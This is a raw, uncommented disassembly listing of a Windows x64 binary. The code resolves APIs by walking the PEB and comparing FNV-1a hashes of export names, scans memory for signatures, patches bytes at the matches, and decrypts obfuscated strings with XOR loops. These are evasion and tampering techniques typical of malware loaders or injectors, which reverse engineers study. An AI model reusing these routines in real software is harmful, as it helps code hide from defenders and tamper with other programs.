cmp byte [rbx], 0x4d
jne 0x14005a84e
cmp byte [rbx + 1], 0x5a
je 0x14005a90e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rsi, 0x100000
cmp rsi, r14
jb 0x14005a820
movzx eax, word [0x14023c300]
movsd xmm0, qword [str._PG_Q_vxbt9]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005a909
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005a909
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x88ca3559
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005a904
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005a8e0
cmp edx, 0x57f50df8
je 0x14005bcda
test r9d, r9d
jne 0x14005a8c0
mov rax, qword [rax]
jmp 0x14005a890
test rsi, rsi
je 0x14005a863
mov ecx, 0xbfffff
mov qword [rsp + 0x218], r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x60], rax
mov rbx, rax
call fcn.140059070
movzx r8d, byte [0x140294760]
lea rcx, [rbx + 2]
movzx r10d, byte [0x14029476f]
mov edx, edi
movzx eax, byte [0x14029476a]
movzx r14d, byte [0x14029476c]
mov qword [rsp + 0x40], rdi
nop dword [rax]
test r8b, r8b
je 0x14005a97f
cmp byte [rcx - 2], r8b
jne 0x14005aafa
cmp byte [0x140294761], dil
movzx r11d, byte [0x14029476e]
je 0x14005a9aa
movzx r14d, byte [0x140294761]
cmp byte [rcx - 1], r14b
movzx r14d, byte [0x14029476c]
jne 0x14005aafa
cmp byte [0x140294762], dil
movzx r13d, byte [0x140294768]
je 0x14005a9cc
movzx r9d, byte [0x140294762]
cmp byte [rcx], r9b
jne 0x14005aafa
cmp byte [0x140294763], dil
movzx r12d, byte [0x140294769]
je 0x14005a9f7
movzx r10d, byte [0x140294763]
cmp byte [rcx + 1], r10b
movzx r10d, byte [0x14029476f]
jne 0x14005aafa
cmp byte [0x140294764], dil
movzx r15d, byte [0x14029476b]
je 0x14005aa1f
movzx eax, byte [0x140294764]
cmp byte [rcx + 2], al
movzx eax, byte [0x14029476a]
jne 0x14005aafa
cmp byte [0x140294765], dil
movzx ebx, byte [0x14029476d]
je 0x14005aa49
movzx r14d, byte [0x140294765]
cmp byte [rcx + 3], r14b
movzx r14d, byte [0x14029476c]
jne 0x14005aafa
cmp byte [reloc.WS2_32.dll_getpeername], dil
movzx r8d, byte [0x140294760]
je 0x14005aa74
movzx r11d, byte [reloc.WS2_32.dll_getpeername]
cmp byte [rcx + 4], r11b
movzx r11d, byte [0x14029476e]
jne 0x14005aafa
cmp byte [0x140294767], dil
movzx r9d, byte [0x140294770]
je 0x14005aa9b
movzx r10d, byte [0x140294767]
cmp byte [rcx + 5], r10b
movzx r10d, byte [0x14029476f]
jne 0x14005aafa
test r13b, r13b
je 0x14005aaa6
cmp byte [rcx + 6], r13b
jne 0x14005aafa
test r12b, r12b
je 0x14005aab1
cmp byte [rcx + 7], r12b
jne 0x14005aafa
test al, al
je 0x14005aaba
cmp byte [rcx + 8], al
jne 0x14005aafa
test r15b, r15b
je 0x14005aac5
cmp byte [rcx + 9], r15b
jne 0x14005aafa
test r14b, r14b
je 0x14005aad0
cmp byte [rcx + 0xa], r14b
jne 0x14005aafa
test bl, bl
je 0x14005aad9
cmp byte [rcx + 0xb], bl
jne 0x14005aafa
test r11b, r11b
je 0x14005aae4
cmp byte [rcx + 0xc], r11b
jne 0x14005aafa
test r10b, r10b
je 0x14005aaef
cmp byte [rcx + 0xd], r10b
jne 0x14005aafa
test r9b, r9b
je 0x14005ab0d
cmp byte [rcx + 0xe], r9b
je 0x14005ab0d
inc edx
inc rcx
cmp edx, 0xbfffff
jb 0x14005a970
jmp 0x14005ab18
movsxd rax, edx
add rax, rsi
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0xbfffff
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x60], rax
mov rbx, rax
call fcn.140059070
movzx r8d, byte [0x140280640]
lea rcx, [rbx + 2]
movzx eax, byte [0x14028064e]
mov edx, edi
movzx r14d, byte [0x140280650]
test r8b, r8b
je 0x14005ab73
cmp byte [rcx - 2], r8b
jne 0x14005ad77
cmp byte [0x140280641], dil
je 0x14005ab96
movzx r14d, byte [0x140280641]
cmp byte [rcx - 1], r14b
movzx r14d, byte [0x140280650]
jne 0x14005ad77
cmp byte [0x140280642], dil
movzx r8d, byte [0x140280640]
je 0x14005abb8
movzx r9d, byte [0x140280642]
cmp byte [rcx], r9b
jne 0x14005ad77
cmp byte [0x140280643], dil
movzx r10d, byte [0x140280653]
je 0x14005abdb
movzx r15d, byte [0x140280643]
cmp byte [rcx + 1], r15b
jne 0x14005ad77
cmp byte [0x140280644], dil
je 0x14005abfb
movzx eax, byte [0x140280644]
cmp byte [rcx + 2], al
movzx eax, byte [0x14028064e]
jne 0x14005ad77
cmp byte [0x140280645], dil
movzx r11d, byte [0x140280652]
je 0x14005ac26
movzx r14d, byte [0x140280645]
cmp byte [rcx + 3], r14b
movzx r14d, byte [0x140280650]
jne 0x14005ad77
cmp byte [reloc.WS2_32.dll_htonl], dil
movzx r13d, byte [0x14028064c]
je 0x14005ac49
movzx r9d, byte [reloc.WS2_32.dll_htonl]
cmp byte [rcx + 4], r9b
jne 0x14005ad77
cmp byte [0x140280647], dil
movzx r12d, byte [0x14028064d]
je 0x14005ac74
movzx r10d, byte [0x140280647]
cmp byte [rcx + 5], r10b
movzx r10d, byte [0x140280653]
jne 0x14005ad77
cmp byte [0x140280648], dil
movzx r15d, byte [0x14028064f]
je 0x14005ac9c
movzx eax, byte [0x140280648]
cmp byte [rcx + 6], al
movzx eax, byte [0x14028064e]
jne 0x14005ad77
cmp byte [reloc.WS2_32.dll_WSASetLastError], dil
movzx ebx, byte [0x140280651]
je 0x14005acc6
movzx r14d, byte [reloc.WS2_32.dll_WSASetLastError]
cmp byte [rcx + 7], r14b
movzx r14d, byte [0x140280650]
jne 0x14005ad77
cmp byte [reloc.WS2_32.dll_recv], dil
movzx r8d, byte [0x140280640]
je 0x14005acf1
movzx r11d, byte [reloc.WS2_32.dll_recv]
cmp byte [rcx + 8], r11b
movzx r11d, byte [0x140280652]
jne 0x14005ad77
cmp byte [0x14028064b], dil
movzx r9d, byte [0x140280654]
je 0x14005ad18
movzx r10d, byte [0x14028064b]
cmp byte [rcx + 9], r10b
movzx r10d, byte [0x140280653]
jne 0x14005ad77
test r13b, r13b
je 0x14005ad23
cmp byte [rcx + 0xa], r13b
jne 0x14005ad77
test r12b, r12b
je 0x14005ad2e
cmp byte [rcx + 0xb], r12b
jne 0x14005ad77
test al, al
je 0x14005ad37
cmp byte [rcx + 0xc], al
jne 0x14005ad77
test r15b, r15b
je 0x14005ad42
cmp byte [rcx + 0xd], r15b
jne 0x14005ad77
test r14b, r14b
je 0x14005ad4d
cmp byte [rcx + 0xe], r14b
jne 0x14005ad77
test bl, bl
je 0x14005ad56
cmp byte [rcx + 0xf], bl
jne 0x14005ad77
test r11b, r11b
je 0x14005ad61
cmp byte [rcx + 0x10], r11b
jne 0x14005ad77
test r10b, r10b
je 0x14005ad6c
cmp byte [rcx + 0x11], r10b
jne 0x14005ad77
test r9b, r9b
je 0x14005ad8d
cmp byte [rcx + 0x12], r9b
je 0x14005ad8d
inc edx
inc rcx
cmp edx, 0xbfffff
jb 0x14005ab64
mov rbx, rdi
jmp 0x14005ad93
movsxd rbx, edx
add rbx, rsi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, qword [rsp + 0x40]
mov r13, qword [rsp + 0x218]
test rsi, rsi
je 0x14005bc27
test rbx, rbx
je 0x14005bc27
mov r8d, 6
lea rdx, [0x140297430]
mov rcx, rsi
call fcn.140059070
mov r8d, 6
lea rdx, [0x1402973e0]
mov rcx, rbx
call fcn.140059070
lea rdx, [0x140280658]
mov rcx, rsi
call fcn.140059170
lea rdx, [0x140280658]
mov rcx, rbx
call fcn.140059170
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.1400593a0
lea rdx, [0x140297430]
mov rcx, rsi
call fcn.140059170
lea rdx, [0x1402973e0]
mov rcx, rbx
call fcn.140059170
cmp byte [str.Krp3bTWQGE], dil
movups xmm0, xmmword [0x140236b98]
mov eax, dword [0x140236bb0]
mov esi, dword [reloc.WS2_32.dll_accept]
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x38], eax
movsd xmm0, qword [0x140236ba8]
mov eax, dword [0x140235f90]
movsd qword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x140235f78]
mov dword [rbp - 8], eax
movzx eax, word [0x140235f94]
movups xmmword [rbp - 0x20], xmm0
mov word [rbp - 4], ax
movsd xmm0, qword [0x140235f88]
movsd qword [rbp - 0x10], xmm0
je 0x14005afe4
mov r8d, edi
cmp esi, 2
jl 0x14005afa5
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005aeb0
cmp r8d, 0x1c
jge 0x14005afe4
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14005afb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005b075
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005b075
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x4fcbb692
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005b070
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005b050
cmp edx, 0xeb99e7bb
je 0x14005b07a
test r9d, r9d
jne 0x14005b030
mov rax, qword [rax]
jmp 0x14005b000
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x20]
add rax, r10
call rax
cmp byte [rbp + 0x3b], dil
jne 0x14005b1f4
mov r8d, edi
cmp esi, 2
jl 0x14005b1b5
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005b0c0
cmp r8d, 0x1c
jge 0x14005b1f4
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14005b1c0
cmp byte [rbp - 3], dil
je 0x14005b354
mov r8d, edi
cmp esi, 2
jl 0x14005b315
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005b220
cmp r8d, 0x1e
jge 0x14005b354
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14005b320
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005b3e5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005b3e5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xfec57d5f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005b3e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005b3c0
cmp edx, 0x3b9470be
je 0x14005b3ea
test r9d, r9d
jne 0x14005b3a0
mov rax, qword [rax]
jmp 0x14005b370
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x20]
add rax, r10
call rax
cmp byte [rbp - 3], dil
jne 0x14005b564
mov r8d, edi
cmp esi, 2
jl 0x14005b525
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005b430
cmp r8d, 0x1e
jge 0x14005b564
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14005b530
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14023bf80]
movups xmm0, xmmword [0x14023bf70]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14023bf84]
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x44], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005b615
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005b615
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x9529bb15
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005b610
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005b5f0
cmp edx, 0xb99aa01a
je 0x14005b61a
test r9d, r9d
jne 0x14005b5d0
mov rax, qword [rax]
jmp 0x14005b5a0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov r11d, dword [rcx + r8*4]
mov r8d, edi
add r11, r10
cmp esi, 2
jl 0x14005b84f
movdqa xmm3, xmmword [0x14023e7c0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
movdqa xmm2, xmm11
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
movd eax, xmm12
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14023bf70]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbp - 0x58], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x54], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x50], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x14023e7d0]
mov r8d, reloc.WS2_32.dll_sendto
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x4c]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x4c], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x48], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14005b860
lea rcx, [rbp - 0x58]
call r11
movzx eax, byte [0x14023b8e0]
mov ecx, edi
mov byte [rbp - 0x48], al
movups xmm2, xmmword [0x14023b8d0]
movups xmmword [rbp - 0x58], xmm2
cmp esi, 2
jl 0x14005ba66
movd ecx, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x14023e7c0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movd dword [rbp - 0x58], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm11, xmm0
movd xmm0, ecx
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm11, xmm0
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
xorps xmm11, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x54], xmm11
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm10, xmm0
movd xmm0, ecx
andps xmm10, xmm8
packuswb xmm10, xmm10
packuswb xmm10, xmm10
paddb xmm10, xmm0
movdqa xmm0, xmm2
xorps xmm10, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x50], xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x4c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
mov eax, ecx
lea r8, [rbp - 0x58]
add r8, rax
nop
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x14005ba70
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x58]
call fcn.1400b1020
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140236938]
